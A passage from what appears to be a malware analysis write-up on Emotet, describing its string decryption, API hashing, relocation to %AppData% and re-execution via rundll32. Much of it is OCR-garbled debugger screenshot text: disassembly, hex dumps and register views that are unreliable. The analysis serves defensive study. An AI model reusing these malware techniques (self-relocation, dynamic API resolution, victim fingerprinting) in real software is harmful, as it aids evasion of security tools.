The call instruction can be used to track the API calls even if the binary is obfuscated or resolves api’s

dynamically.
String De-obfuscation

All strings are encrypted in x.dll (emotet in memory), which are decrypted at run-time. It decrypts the name of all

additional libraries that are loaded in the malware.
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X.dl1:@4B87BBA
X.d11:84B87BBA
X.dl1:@4B87BBA
X.d11:84B87BEC
X.d11:84B37BEF
X.d11:84B87BC1
X.d11:84B87BC4
X.d11:84B87BCT
X.d11:84B37BC9
X.d11:84B87BCC
X.d11:84B87BCF
X.d11:84B87BD2
X.d11:@4B87BD6
X.d11:84B387BD9
X.d11:@4B87BDC
X.d11:84B87BDF
X.dl1:@4B87BE@
X.d11:84B387BE4
X.d11:@4B87BE7
X.d11:84B387BEB
X.d11:@4B87BED

loc_4B87BBA:

mov
lea
xor
MOVZX
mov
mov
shr
lea
MOVEX
mov
shr
MOVIX
shr
inc
mov
MOVIX
mov
cmp
jb

ecx, [edi]
edi, [edi+4]
ecx, ebx
eax, cl
[edx], ax
eax, ecx
eax, &

edx, [edx+8]
eax, al
[edx-6], ax
ecx, 18h
eax, cl

ecx, 8

ebp

[edx-4], ax
eax, cl
[edx-2], ax
ebp, esi

short loc_4B87BBA

® [

[x.d11:e45878EF mov

ebx, [esp+@Ch+arg_14]

The following list of modules are loaded for further activities:

10

11

12

Modules
Advapi32.dll
Crypt32.dll
Urlmon.dll
iertutil.dll
srvcli.dil
netutils.dll
userenv.dll
wininet.dll
wtsapi32.dll
berypt.dll
propsys.dll

WwS2_32.dll

Dynamic API Resolution & API Hashing

o s B I I

S33na333r5888

SRR

I

38

38E23IINLSBTBESSS

[
-

888
3ITEITILTSIESIANITIINESR

38IE

]

HEER R R R R R R

3833838

SELESS8S8i8sRushEASS
335838238888 mEE383888

JESEr S8 PRSEUCE3838L88REERRE888

i¥g3sassnasrEdesesse

Loa |

FC
A2

BF

333888

AB
71
FE
69

8

a3

}rg33s8sshes883983888

JF33338353E33358388388

AB
a8
80 X:.q<V..a.d.v.a.
@@ p.i.z.2...d.1.1.
AB

All apis are loaded dynamically to avoid detection in static analysis. In above example, we saw string for

“advapi32.dll” was decrypted. In this function, it will be loaded using the API “LoadLibraryW” and executed.
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The function “resolve_func” is responsible for resolving api hashes and returning api addresses after comparing

hashes.

Its renamed for easier understanding.

I 1nstruction [ Data M Unexplored | External symbol [l Lumina function
Debug View %] Local Types
O & x |[@ Hexview-1 O & x ||[@ Generalregisters =]
X.d11:04874F87 or [ebp+var 8], 994CAZBFh 926 88 FF 15 (8 1C DC 75 85 (8 OF 83 1D E5 68 88 33

X.d11:04B74FBE xor
X.d11:84B74FC5 mov
X.d11:84B74FCC add
X.d11:04B74FD3 xor
X.d11:84B74FDA mov
X.d11:84B74FE1 xor
X.d11:04B74FES add
X.d11:84B74FEF shr
X.d11:84B74FF3 xor
X.d11:04B74FFA mov
X.d11:04B74FFD mov
X.d11:04875066 mov
X.d11:04875003 mov
X.d11:04B75086 push
X.d11:84875068 push
X.d11:0487506C push
X.d11:04875011 push
X.d11:84875012 push

X.d11:0487501C add
X.d11:@487501F push
X.d11:04875020 \call
X.d11:04875622 pop
X.d11:@4875023 mov
X.d11:04875025 pop
X.d11:04B75026 retn

X.d11:04875026

[ebp+var_8], 995E6987h
[ebp+var_18], B9A727h
[ebp+var_18], @DCFeh
[ebptvar_18], 829624h
[ebp+var_4], 34186Ch
[ebp+var_4], @EDAFCoBEh
[ebp+var_4], @FFFFES7Ah
[ebp+var_4], @Ch
[ebp+var_4], @E19FCh
eax, [ebptvar_4]

eax, [ebptvar 10]

eax, [ebp+var 8]

eax, [ebptvar_C]
8C177F4DCh

ecx

©BD10FFSER

ecx

300h

esp, 14h
esi
=
esi
esp, ebp
ebp

X.d11:04875026 sub 4B74F7@ endp

WENOWN 04B75020: sub_4B74F70+B0 (Synchromized with EIP)

o3e
046
958

@ 49 5D C2 @8 @@ CC CC
8B FF 55 8B EC 5D FF 25
CC CC CC €C CC €C €C CC
FF 55 8B EC 5D FF 25
€C C€C €C €C CC €C €C CC
8B FF 55 8B EC 5D FF 25

@ CC CC CC CC CC CC CC CC
@ 8B FF 55 8B EC 5D FF 25
@ CC CC CC CC CC CC €C C

8B FF 55 88 EC 5D FF 25
€C CC €C €C CC €C €C CC
8B FF 55 8B EC 8B 45 @8
@@ CC CC CC CC CC CC cC
8B FF 55 8B EC 5D FF 25
€C €C €C €C CC €C €C CC
8B FF 55 88 EC 5D FF 25
1D DD 75 EB 18 2B @0 @0

@ 8B F7 BS 6@ 8@ @1 @@ 59

89 3B 8B 55 @C 89 3A 8B
75 2E AS 18 OF 85 1F E4
78 E4 8@ @@ 85 F6 OF 88
F@ 64 89 @D @0 00 0 @0
89 7D FC 8B 45 E4 89 45
8D 45 DC 5@ 57 53 GA FF
89 75 D@ C7 45 FC FE FF
DC 89 45 E4 8D 4D E4 51
1D DC 75 8B F@ 81 FE @4
@0 8@ 8D 45 DC 5@ 53 6A
3B 8B 45 E4 @5 FF 1F @0
E4 38 F6 74 8B 8B 45 EB

@ CC CC CC CC CC CC €C CC
© 8B FF 55 8B EC 5D FF 25
@ CC CC CC CC CC CC €C C

UNENOWN 7SDELS€0: KERNEL3Z.DLL:kernmel (Synchronized with EAX) ¥

<

€C CC CC €C CC CC cCcC .

3C 12 DC 75 CC CC CC CC

€C CC CC €C €C CC €C CC .

2@ 12 DC 75 CC CC CC CC
€C CC CC €C €C €C CC CC

@8 16 DC 75 CC CC €C CC .
€C CC CC €C CC CC cCcC .

78 14 DC 75 CC CC CC CC

€C €C CC €C €C CC €C CC .
2C @F DC 75 CC CC CC CC .

€C CC CC €C €C €C CC CC

A3 6C @3 DF 75 5D €2 B4 .
€C CC CC €C CC CC cCcC .

A4 18 DC 75 CC CC CC CC

€C €C CC €C €C CC €C CC .
3C 11 DC 75 GA 20 68 6@ .

89 55 D8 89 4D E@ 33 FF

45 E4 89 45 DC 8B 5D B8 .

45 18 89 38 8B C1 AB 86 .;.U..

80 88 F6 45 E@ 01 OF 85
BE E4 @2 @0 8B (6 8B 4D
59 SF SE 5B C9 €2 1C ee
DC 6A 84 63 00 10 60 60

FF 15 6C 1E DC 75 88 F@ .E..
FF FF 85 F6 78 47 8B 45 .u..E.

50 FF 33 6A @5 FF 15 60 -
@@ 88 (@ 75 28 63 B8 89 .
FF FF 15 3C 1E DC 75 89 .
8@ 25 00 EG FF FF 89 45 ;
8B 55 @C E9 52 FF FF FF .
€C CC €C €C CC CC CC cC .

4@ 12 DC 75 CC CC CC CC
€C CC CC €C €C CC CC C

>

EAX 75061960 gll KERNEL32.DLL: kernel32_LoadLibraryi
EBX 01BABDES @l debug192:unk 1BABDES

ECX 000F6610 gl

EDX A9950000 ¢l

ESI 03184188 gll debug157:63184155

EDI 20600600 ol

EBP 830376AB @l Stack[@9081F74] :0303F6A8

ESP 03037680 gl Stack[00001F74]:0303F680

EIP 84B7501C ¢dl sub_sB74F70+AC

EFL 68006214

From here onwards all APIs are resolved using API hashing and executed. I will focus on providing the major

TTPs and APIs that it uses instead of providing a complete API trace here in this article.

Move to secure location

The first thing it check is the commandline parameter to see if the dll has been executed with parameter of

Control_RunDLL and the path from where it is executed. If the malware is not executed from % AppData%,

then it moves itself to a secure location in Appdata.

The malware use the following sequence of APIs:

# APIs

1 SHGetFolderPathw

2 GetCommandLineW

3 CreateFileW

4 GetFileInformationByHandleEx

5 GetTickCount

6 SHFileOperationW

7 DeleteFileW

Description

To get the path of %Appdata%

To check commandline parameters and path

To get its own handle

To get its own information

To generate a random name

To copy file

To delete the zone identifier on copied file

The screenshots for above mentioned task are provided below:

Page 10 of 20




https://shaddy4 3.github.io/MalwareAnalysisSeries/Emotet /

I Reguiar function Ml Instruction | Data [ Unexplored | External symbol [l Lumina function

Debug View [x] Local Types
g & x ||[@ Hexview1 O & x || Generalregisters
X.d11:04B8CEAC push  dword ptr [ebp+1gh] 63837560 5C 68 55 @8 73 @@ 65 B8 72 6@ 73 @8 5C BA 73 60 ~|[eax 75062010 ¢l KERNELS2.DLL :kernel32. GetcommandLine
X.d11:84B8CEAF mov edx, eax 6393F510 68 80 61 60 64 @@ 64 B8 79 6@ SC @8 44 BA 65 00 <o 00000000 4
x.d11:0488CEB1 push  dword ptr [ebp-18h] 6303F522 73 8@ 6B @@ 74 0@ 6F B8 78 6@ 5C 08 65 0 6D 60
X.d11:@4B8CEB4 push  dword ptr [ebp-1ch] 0383F532 6F ©@ 74 @@ 65 0@ 74 G0 2E 00 64 0O 6C 00 6C 90 ECx 00002077 ¢l
X.d11:04B8CEBY7 mov. ecx, [ebp-14h] le3e3rsas [ @@ @3 @3 36 AF DA 77 68 21 FD BO @@ 00 17 @3 EDX 00000023 ol
X.d11:4BBCEBA call  near ptr unk_28879A5 6393F550 6A 60 @O 40 B G0 @@ B0 68 21 FD B FE FF FF FF E£SI@99CC4DE ¢l
x.d11:0488CEBF add esp, 18h 6303F562 BC FS @3 @3 ED 7A DS 77 08 AF 1B 03 14 78 D5 77 £DT 06060008 o)
X.d11:0488CEC2 mov dword_4B95208[esi*a], eax (3037570 @0 G0 0O 00 G0 00 17 63 01 00 G0 0 AS 7A B3 04 £8P 03037670 ol Stack[00001F74] : 03037670
23037580 71 1E 1 @0 @0 @0 @0 80 21 @9 86 @0 6D 93 (P 86
J | 9303F500 @5 e @8 @9 10 F5 83 B8 @1 6@ e 88 98 59 1B 83 E5P 83037648 ¢ll Stack[00001F74]:@303F648
P A383F5A@ 71 1E @1 @@ 86 09 17 83 34 4C B9 08 @8 AF 1B @3 E1P 8485CED4 ¢l sub_483CDB1+123
6303F5B2 56 3C D1 77 88 FB @3 ©3 38 AF D4 77 65 21 FD Bo EFL 00000202
X.d11:84BECECY 393F5C@ FE FF FF FF 58 F6 @3 03 7C 6E D1 77 20 02 00 00
X.d11:84BBCECY loc_4BBCECI: A3@3F5D@ 28 B2 @0 @0 B@ 0@ 60 B8 28 F6 B3 @3 (8 40 17 @D
x.d11:04B8CECT mov eax, dword_2B95208[esi®a] 00 60 17 03 B0 0O @0 B8 08 AF 18 @3 42 34 @B 77
X.d11:84B3CED8 pop esi 6D 93 Co @6 06 00 66 @0 03 AF 16 03 B1 33 0B 77
08 AF 1B @3 @8 AF 18 @3 1C FG @3 @3 28 02 00 00
X.d11:84B8CED3 @8 AF 1B 83 18 66 OF 8@ 77 00 BB @8 DE C4 9C 60
57 @F (3 @0 90 @@ 00 0@ 6B 11 B0 @0 07 D2 00 00 [@] stack view
X.d11:84B8CEDA D9 56 @6 @8 5B 2E B9 @H C3 36 B7 @6 BS C5 @D 00
X.d11:e4B3CED4 6303F648 EE C7 @8 @@ 70 F6 03 03 O9F 74 BS 04 3A 03 00 00 SRy x-d17 PR
p3@3F658 35 B8 @@ @@ BE FF 10 BD 35 @0 86 00 30 20 23 61 pEEEFEE EEAEIEEN
A6 89 00 @@ 16 25 67 @@ 21 18 BA 0B @2 79 OF 00 [2383F656 0B0AAA3S
B8 60 0@ 6@ 73 6D B3 B4 52 ES OF 08 61 DD 43 6D pRhEfiss [omadARE
An £5 Mz An 94 € AT An 4E na 63 AA rE B3 AS AR 3037658 0000035

4304 ‘e QueryDirectory  C:\Users'shaddy'AppData*Local'\Zollvehjwmroxsn MO SUCH FILE FileInformationClas. ..

4304 v CloseFile C:\Users'shaddy"AppData*Local
CreateFile “shaddy'\AppData‘Local \ Zollvehjwmrxxsn Al ND Desired Access: R...
4304 ‘v ReadFile C:\Windows'\SysWOWE4 windows storage.dll Offset: 4,342,784, ..

4304 E‘Readﬁ\e C:\Windows'SysWOWE4 windows storage dll Offset: 1,872,856, ...
r- - 23
‘LJD\@-‘E‘E'E‘gp |& HQ%W
Time ... Process Name PID  Operation Path
6:059:0.. rundl32 exe 4304 ' CreateFile C:\Users'shaddy\AppData®Local Zellvehjwmmxxsn cdomenc xnj64d 819
6:22:5.. rundll32 exe 4304 ' CreateFile C:\Users'shaddy\AppData‘Local Zollvehjwmmxsncdomenc xnj
| = | C\Users\shaddy\AppData\Local\Zollvehjwmnxxsn
Home Share View
&« v A » shaddy » AppData » Local » Zollvehjwmnxxsn
Name Date modified Type Size
7 Quick access
D cdemcnc.xnj 0/23/2024 1:11 AM XMJ File 435 KB
E This PC
. 3D Objects
[ Desktop

Documents

jon [l Instruction Data Unexplored External symbol [l Lumina function

Debug View %] Local Types
O &8 x |/[@ Hexview1 [®] General registers
X.d11:04B8CEAC push d\,.ordvp‘tr [ebp+18h] 303EFFC @0 0@ 00 00 B1 3C @D @@ 1D 5E 02 02 D4 E4 06 00 EAX 75D63410 @l KERNEL32.DLL:kernel32 DeleteFilel
R Ly adx. ek @383F606 CF BS @9 86 74 F2 @3 83 13 87 BS @4 34 (B 02 00 B F4AGD46 o)
o @383FG16 96 DB @D 86 63 96 @D 8@ 06 C1 05 @0 60 66 00 00
s R I o) p303Fc20 F4 F2 83 03 E9 65 08 08 34 5C @D 98 F3 OF 1E 03 ECX00OFEE10 o
X.d11:84BSCEBA push  dword ptr [ebp-1Ch] i o - os P
i L1 o4 BBCE A [ @383F630 B@ 7C 1C @3 43 @0 3A @0 5C 60 55 00 73 66 65 00 .|..C.i.\.U.s.e. EDX
X.d11:0488CE8A call  near per unk 48879A5 @383FB46 72 @8 73 86 SC @0 73 88 68 00 61 @8 64 B8 64 88 | r.s.\.s.h.a.d.d. ESI 3637034 ¢l Stack[@8e61F74]:8383F834
X.d11:0485CEBF add esp, 18h @383FE56 79 @8 5C 66 41 60 78 8@ 70 00 44 80 61 66 74 00 y.t.A.p.p.D‘;‘t. £DT 08066061 ¢J
o 3 @363F050 61 @@ SC 60 4C 00 6F 60 63 6 61 00 6C 66 5C 00 a.\.L.o.c.a.l.\.
X.d11:84BSCEC2 mov dword_4B95208[esi®4], eax i BATHGRGHGESD MEGD R BEVGOAEIEY EBP 83637004 ¢l Stack[@8e61F74]:0383Fa04.
J 9383FEEB 77 @9 6D B GE 6@ 78 8@ 78 60 73 0@ G6E BB 5C 09 . ESP 0303EFCE ¢ Stack[@0861F74]:@303EFCE
‘ A3B3FBO08 63 @8 64 BB 6F 88 6D B@ 63 0B GE @0 86 2E 6@ EIP B4BBCED4 @f sub_4B8CDB1+123
@363F0AG 78 @@ GE 00 GA GO 3A @0 SA 0O G6F 00 GE 00 65 00 EFL 98660206
X.d11:8488CECO @383F0EG  2E @@ 49 60 64 00 65 @0 6F 00 74 00 [F] 00 66 00
X.d11:84BECECY loc_4BBCECY: B383FGCE 69 @8 65 66 72 00 08 B9 0O 00 00 60 60 BB 00 00
X.d11:084B8CECI mov eax, dword_4895205[esi*4] 93037003 G 00 B0 B0 BO G0 G0 BA BB 00 00 63 BB 6B 00 40
X.d11:84B8CED@ pop esi ©0 00 0 0D 60 00 00 B 00 0O 00 00 60 0O 0O 00
X.d11:84B8CEDL mov esp, ebp ©0 00 0 0P 60 00 00 B 00 0O 00 02 00 00 0O 00
:4BECED3 eby B383F100 ©0 @0 B9 66 0O 00 08 B0 0O 00 00 60 6O BB 00 00
@303F116 00 00 GO 66 0O GO 08 B0 00 0O 00 90 00 BB 00 00 [@ stack view
= 6363F120 ©0 00 60 60 0D 0D 08 60 00 0O 00 00 6O 0O 00 00
$E:EE$ sub_4B8C0B1 endp 9303F130 00 @O 00 00 0O OO 0P 02 0D OO OO 00 0O OO 0D 00 B303EFCB  @4BB2FAD  X.d11:@4B52FAD
A3B3F140 @0 00 BO @0 6O 00 08 @0 0P 0O 00 00 B0 6P 00 00 CC @oeeslss
9363F150 00 0O GG 66 0D GO 08 BB 0D 0O 00 80 0O BB 00 00 0303F034 Stack[00001F74]:6303F034
G303F160 @0 00 G0 00 6D 00 00 99 0D 0D 00 00 00 0D 00 00 BDL@FFSE
0303F170 ©0 0 00 0O 0O 0D 0B 02 0D OO 00 00 0O OO 0O 00 83837834 Stack[#8881F74]:8303F834
A3B3F150 @0 00 B9 @0 6O 00 08 @0 0P 0O 00 00 B0 6P 00 00 SB7CEBAE
6383F196 @0 0@ B8 B0 6O G0 00 B2 6B 0O 00 60 8O BB 0O 00 @3LEQEFE  debug233:@31EQEFE
@303F1AC @0 00 00 00 00 00 00 @2 00 0O 00 00 00 00 00 00 SILILEE

After the malware has been shifted to a different location, it executes itself again with rundll32.exe which in turn

deletes the original file. The APIs used for executing itself again are as follows:
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APIs Description

The emotet is again executed with newly saved dll present in %appdata% using
rundll32

1  CreateProcessW

2 ExitProcess Exits the first process
The behavior of emotet is changed depending upon the location from where it is executed. If it is executed from
%Appdata%, it proceeds further in its execution but it is executed from any other path then it changes its location

and reloads itself again.

s IR ST L0 T R TR T R U T R A BRI e |
Library function [l Regular function Ml Instruction ! Data I Unexplored | External symbol Ml Lumina function
Debug View [x] Local Types
|E DA View-EIP g & x ||[@] HexVient1 [ General registers 1
X.d11:04B8BADD db @CEh ~|[3e27432 E0 F7 o8 o ve o0 0o 0o 57 82 @B @0 50 26 64 €@ EAX 750588E0 g KERNELS2.DLL - kernel32 CreateProcessi
X.d11:04BSBADE 63837490 FE 23 02 86 BA 6F 03 08 AA 2C @5 80 4C FD 08 00 £ax 00000000 oJ
X.d11:04B8BADF 63837470 6 @1 06 G E9 DB @4 06 CF 7B 04 80 29 SE 07 00
X.d11:04B8BAER 6303F450 OB 20 OA GO 01 00 00 08 OF 64 @D 00 A7 65 GF 00 ECX000F 6610 o)
X.d11:04B8BAEL ; 303F4C0 88 D3 00 00 @A 43 @4 00 C4 ED 99 00 88 @D DB 01 EDXD3330000 ¢
X.d11:84BSBAE1 add esp, 14h 6383F4D8 C4 ED 99 86 8B @D DB @1 C4 ED 99 80 88 @D DB 61 ST 00000006 ¢l
X.d11:04B8BAEA push  dword ptr [ebp+5] 6383F4E0 C4 ED 99 6 88 @D DB 1 C4 ED 99 86 55 0D DB 61 01 20200080 <
X.d11:04B8BAE7 push  dword ptr [ebpradh] 62637470 43 @0 3A BB 5C @8 57 0@ 69 0D GE 60 64 08 GF 0O Eop 03036724 o Stack[00001F74] :0303EF 24
X.d11:04BSBAEA push  esi 63037500 77 @@ 73 00 5C 00 53 00 79 00 73 00 57 0@ 4F 00
X.d11:84B8BAEB push  esi B363F518 57 80 36 @8 34 @8 5C 6@ 72 @G 75 8O GE 00 64 09 ESP0303EEEe ¢l Stack[00061774] 103035858
X.d11:04BSBAEC push  esi 63837520 6C 60 6C 6 33 6B 32 66 2E 0B 65 60 78 00 65 6O EIP 04888AF% ¢J X.d11:04B8BAFE
X.d11:04B8BAED push  dword ptr [ebp+3eh] 62637530 20 @0 22 BB 43 @8 A 0@ 5C GO 55 60 73 0O 65 0O EFL 60860212
X.d11:04B8BAFG push  esi 63037540 72 @0 73 00 5C 00 73 00 68 00 61 00 64 00 64 00
X.d11:84BSBAFL push  esi 63037550 79 6@ 5C 66 41 68 70 80 70 GO 44 60 61 08 74 0O
X.d11:04B8BAF2 push  dword ptr [ebp+1sh] 63837560 61 @0 5C BB 4C 60 GF 0B 63 0O 61 80 6C 0 5C 0O
X.d11:04B8BAFS push  dword ptr [ebp+2sh] 62637570 5A @0 6F BB 6C @B 6C 0@ 76 GO G5 60 65 0O A 0O
| x.dll:e4BsBAFS call  eax 63037580 77 @0 6D 0@ GE 00 78 00 78 00 73 00 6E 08 5C 00
X.d11:084BSBAFA pop esi 63037500 63 0@ 64 G 6F 6B 6D 00 63 GO GE 80 63 08 2E 09
X.d11:04B8BAFB mov esp, ebp 63837540 78 @0 6E 0O GA BB 22 06 2C BO 73 B0 4A 0O 7A 0O Stack view 1
X.d11:84BBBAFD pop ebp 9203F5E0 53 8@ 75 @2 71 @@ 68 08 41 @@ 8@ 88 BA SE B3 [
X.d11:04BSBAFE retn 2363F5C2 @3 90 @0 @0 80 6C 95 00 ©OL €0 00 00 1C BA 1B 03 RTINS IR
X.d11:04B8BAFE ; A383F5DA D7 59 @1 B8 B9 (2 @C B9 63 SF B8 84 1C BA 1B 03 pEEETIRE (REELLEE
X.d11:04B8BAFF unk_4BBBAFF db 55h ; U ; CODE XREF: X.d11:84B74756tp 9383F5Ea  ©7 00 @0 06 08 F7 @3 03 01 0@ @0 00 CO ES 89 08 [p363F590 00640063
X.d11:04B8BAFF 3 X.d11:@a874ca7tp #363F5F@ 41 31 @B @@ 2C D2 BE @4 83 66 @F 8O 34 4C 80 08 13837594 0@ED0ESF
X.d11:04B58800 db 8Bh e363F500 71 1E @1 €0 DC ©5 90 90 00 €0 90 00 A? 2C DD 75 pEEEFA GREELT
X.d11:04B8B881 db @ECh 6363F618 FC 15 23 C4 00 @0 89 66 0 60 B9 80 BY AB D2 77 pEEETEL (GRELE
X.d11:04B38862 db @FFh 03037620 B0 60 D4 75 10 F6 63 03 71 1E 01 68 AD F6 03 0 pEEED IR
x.d11:ea88B803 db 75h ; U 63037630 30 AF D4 77 E@ 15 23 C4 FE FF FF FF B0 F6 03 63 PECEFECG CIRETIEL
X.d11:04B58804 db 20h 6363F642 A3 AA D1 76 06 €0 90 00 90 €0 89 00 56 AC D1 76 RS LRI
X.d11:04B88885 db @88h 6363F658 77 AS 3B 86 B2 E5 OE 06 00 60 09 @0 52 ES 6F 00 pEEERe Caphres
X.d11:04B88806 db 2 6363F660 24 00 00 G0 01 6O 00 6O 0O GO 0O B0 00 0O 60 0O R G
x.d11:04858807 db 1 63037670 @0 @0 00 0B 60 G0 00 0O ©0 0D 0O B0 @0 0O 0O 0O pECEFIEG CTEIIAL
X.d11:04B8B805 db @ (6363F650 @9 90 00 €0 F§ F3 57 04 OL 60 00 00 90 00 60 00 SRR Lrnniian
X.d11:04B88509 db @ 6363F698 FF FF FF FF 00 60 00 60 00 60 09 60 65 11 60 00 [ s g T
S5 R GBI & G 6363F62 @8 FB @3 @3 00 4D D4 76 1F C5 E6 F3 FE FF FF FF RERTRA) il
Debug View o @ Local Types
[TE] 104 View-E1P o0& x l[zm lIr=
® Process Hacker [DESKTOP-002IHON\shaddy] - o x
X.d11:04B8BAFL push  esi
X.d11:0488BAF2 push  dword ptr [ebp+18h] Hacker View Tools Users Help
X.d11:@4B8BAFS push dword ptr [ebp+28h] P # Opti 3 P = O I:
e ey & % Refresh {3 Options | @8 Find handles or DLLs 34 System informatien | [0 [ X% rundll x
| X.d11:04888A%A pop  esi Processes Services Network Disk
SOk e Gy Name PID  CPU I/Ototal . Privateb.. Username Description
X.d11:0488BAFD pop ebp
X.d11:0488BAFE retn 7] : 0303
X.d11:04B8BAFE ; —
X.d11:04B8BAFF unk_4BEBAFF db 55h ; U ; CODE XREF: X.d11:848747561p t1-0303
fFa

X.d11:@4B8BAFF ; X.d11:e4B74Ca71p ...

X.dll:04888800 db 8Bh OWE4\rundIi3
X.d11:04888801 db BECh i e 7 10 1501 2836
X.d11:04888802 db BFFh " °";C° "C:‘“' u Bl
X.d11:04888883 db 75h ; u vICOsan Lofporation

Run DLL target file
X.d11:0488B804 db 2@h CAU: haddy\AppData\LocalZollvehiy d
T (o \Users\shaddy\AppData\Local\Zollvehjwmmxxsn\cdomencxnj

asdoccquel23 5653
Notes:

Signer: Microsoft Windows

Console host: Non-existent process (47

Processisin a job.

X.d11:04B86806 db 4
X.d11:04888807 db 1
X.d11:04B86808 db @
X.d11:04888809 db @

§ jﬁszg:gg:‘é ji B;g: . Process is 32-bit (WOWSA).
X.d11:@488888C db 1Ch
X.d11:0488888D db @FFh
X.d11:0488B80E db 7Sh ; u
X.d11:0488880F db 18h
X.d11:4888810 db @FFh
X.d11:@488BB11 db  75h ; u
X.d11:04888812 db  1ah
X.d11:4888813 db @FFh
X.d11:@4888B14 db  75h ; u
X.d11:A4RRRR1S dh  18h
- Locn s
O & x| @ Hexviewt [®] General registers
Yy @303F790 6D FB @A @2 6B B7 09 @@ 44 73 05 00 90 75 @3 00 EAX 75064650 ¢l KERNEL32.DLL:kernel32_ExitProcess
0363F7A0 27 20 64 0@ 46 21 01 88 91 32 68 08 95 6D 08 00 £BX 63184760 o debug238:03184760
0363F780 E4 6E 08 @0 BO 4C OF 88 26 F4 OF 0 06 9A 02 00
T B 6363F7C0 DS 19 69 0@ CB 6D 80 88 ©OF 07 69 88 4A C4 84 00 ECX 000F 6610 ¢J
eax, dword_4B95208[esi*4] @383F7D8 AG BB 8D @@ AC 92 B4 88 67 4E 62 @9 10 27 68 60 EDX B262680@ ¢J
= - 0363F7E0 41 76 62 0@ 43 69 89 88 66 EA 60 8 B3 F2 @D 00 £s1 74001140 ¢l Control RunbLL
= o 9383F7FB AA 65 34 @1 FC 55 81 88 5B 59 BC @8 AQ BB @D 88 £D1 00802000 o
X.d11:04B8CED3 eb) gse3rean 23 D9 B1 48 BF 66 GA B0 E1 91 OF 80 24 AD 86 04 EBP 0303F990 ¢l Stack[00061F74]:0303F290
0383F516 EB 38 B6 0@ E5 72 82 B8 12 AL B3 @8 F5 DA @4 08
.d11:04B5CE04. sub_4BECDEL endp 0383F520 4B F2 86 09 D2 72 68 88 9B FA BE 68 D9 79 @5 00 £5P 03037958 ¢ Stack[20001774] 03037958
x.dll-@apscepa @393FE38 F3 F@ @C @0 AB OF 60 @@ 15 A7 B6 60 48 F4 @1 00 £1p 0488CED4 ¢l sub_485CD81+123
0383F548 EA B1 62 00 B0 80 00 B8 ©9 2F BF 08 B2 ES OF 00 EFL 00080202
0303FE50 38 BC 3 0@ 20 F4 OE 9@ 71 E7 OC 0@ 2F 7E @D 20
o3e3FE60 27 Al @9 9@ A7 DA A 90 C3 6F @D 0@ 77 7B 03 20

Information Discovery
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The last stager copied the emotet.dll in %appdata% local folder with random folder name and file name with

added extension of .xnj. In this phase, I will again execute the dll using rundll32 with the parameter

Control_RunDLL and debug its behavior further.

It started with the usual PEB walk for kernel32 and ntdll locations and finding address of LoadLibraryW and

GetProcAddress. Then it loaded all modules that it needs and first checks the executing file path and module

name. If everything is correct, it then gathers system information for crafting the request and register bot to c2

server.

APIs

Description
1 GetComputerNameA To get name of victim system
2 GetWindowsDirectoryW To get the windows directory where system files are installed

3 GetVolumeInformationW

To get the volume information

Debug View B @ Local Types
O & x||@ Hexview1 O & x || ceneralregisters |
Vmov  eax, dword_3095208[esi'4] ~|[67 Bo 66 @9 €0 60 0 @0 71 1E ©1 00 21 ©9 86 00 g.h.....q...!... ~| cax 75059080 el KERNEL32.DLL: kerneld2 GetComputerlamen
' pop esi 34 4C 00 0@ B3 66 OF 0@ ES 45 DD 75 @8 SF DD 75 4L..

i iui Ehi

esp, ebp

€8 2C DD 75 EE @@ @8 a8
@@ 66 66 6@ BF (E 03 03
7B 12 EF D5 FE FF FF FF
83 F3 9F @@ 57 @F C3 08
@7 D2 @0 6@ DI 50 @6 @9
B5 C5 @D 8@ EE C7 08 00

3A 19 FE 08 00 60 60 B0 .
68 11 @@ @8 5B 2F 89 82 .

24 F& 9F 09 77 00 00 00
@0 60 60 00 6B 11 00 0@
5B 2E @9 @@ C8 36 B7 8@
28 F8 9F e [ 53 07 03

i
Scodbe

EEX @968B067 ol
ECX B00F 6610 ¢l
EDX CCOC0000 ¢l
EST809FF858 ¢ Stack[@0@01030] :209FFEES
EDI @9FFE@61 gl
EBP 809FF828 ¢l Stack[@pas1030] :0R9FFE28

db  83h F2 82 90 8@ 89 1@ @7 @@ BE FF 18 BD 89 10 87 8@
db @ECh 7B 12 EF D5 59 55 79 @2 @1 @3 @F @8 5F 8@ 8C e ESP B@9FF7FC J Stack[@8ee1038] :089FF7FC
db 44h ; D F@ 28 05 8@ 32 23 @2 00 84 43 9E 05 5A EF 08 03 .... EIP 8308CED4 @ sub_308CDAD+127
db @c7h 8C FE OF @0 EC 10 07 88 3F S5F @2 00 95 F6 F6 @1 . EFL 00900212
tdb 44h ;D 95 FE 99 @3 48 F9 9F @8

AA 1E F4 @8 97 AE 83 0@

A unique behavior of Emotet was seen when it tries to delete all extra files present in its home directory in

%AppData%. It is deleting every other file in its directory other than the main emotet dll. Could be one of the

anti-analysis techniques to delete debugger or disassembler database files like in case of IDA (ida creates database

in same directory as the file being analyzed).

EEe-8-@QA a1
1 N

Library function [} Reguiar function [l Instruction [ Data

B- D@ ELGQ® -0 < P 0 0|0 sbie @ deoed EE Bs
Il

External symbol [l Lumina function

o @

Local Types
= DA view £l g & x ||[@ Hexven-1 O & x || Generalregiters E
X.d11:03882FAA db  9Dh ~|[D4 E4 @5 @0 CF B5 @9 @8 88 EF OF 00 76 B7 87 83 ....c......v... | [eax 75063410 oJ KERNELS2.DLL - kernel32_Deleterilell
SRR dh G @l C3 6 o (D L 6D S 900 B 009FF738 gl Stack[90901030]:009FF735
X.dl1:03682FAC db @ 18 A6 05 00 DA 66 03 00 pr
B I e D I 28 ED 9F 96 84 BE 89 08 ECX 000F 6610
X.d11:03682FAD add  esp, 14h B5 84 07 63 00 10 16 03 E0X 68470000 ¢
@ | cdllieaosaree push  esi 73 98 65 00 72 09 73 00 51 009FED28 o Stack[9001030]: R9FED2E
Ui | x.dl1:e3e82FBL call iEr) 64 82 64 80 79 @0 5C 00 EDI 029FFOEC g Stack[00201030]: B09FFOEC
ERMLCECEARE) Fap . o £8P 09FECES gl Stack[90091030]: 009FECES
X.d11:03682FB4 mov  esp, ebp 6C 99 5C 0 5A 00 GF 00 .
X.dll:c3032786 pop  cbp B 52 o0 0 o G o ) Esp @09FECco of Stack[9001030]: 09FECCE
X.d11:63682FB7 retn 6E 88 5C 00 S5C 08 63 00 EIP 03082781 ¢ X.d11:03082FB1
Xod1L203@B2FB7 § === === == mm oo 6E 99 63 00 2E 00 78 00 £FL 00006202
X.d11:03882FB8 db 55h ; U 64 62 30 60 08 6O 00 08
3 @0 00 00 60 00 00 00 00
@0 00 00 €0 69 G0 11 03
62 82 OC 40 68 68 00 08

8
8
H
8
"
g

°0 @0 00 00 07 00 40 00
AB 8C D1 77 00 00 80 00
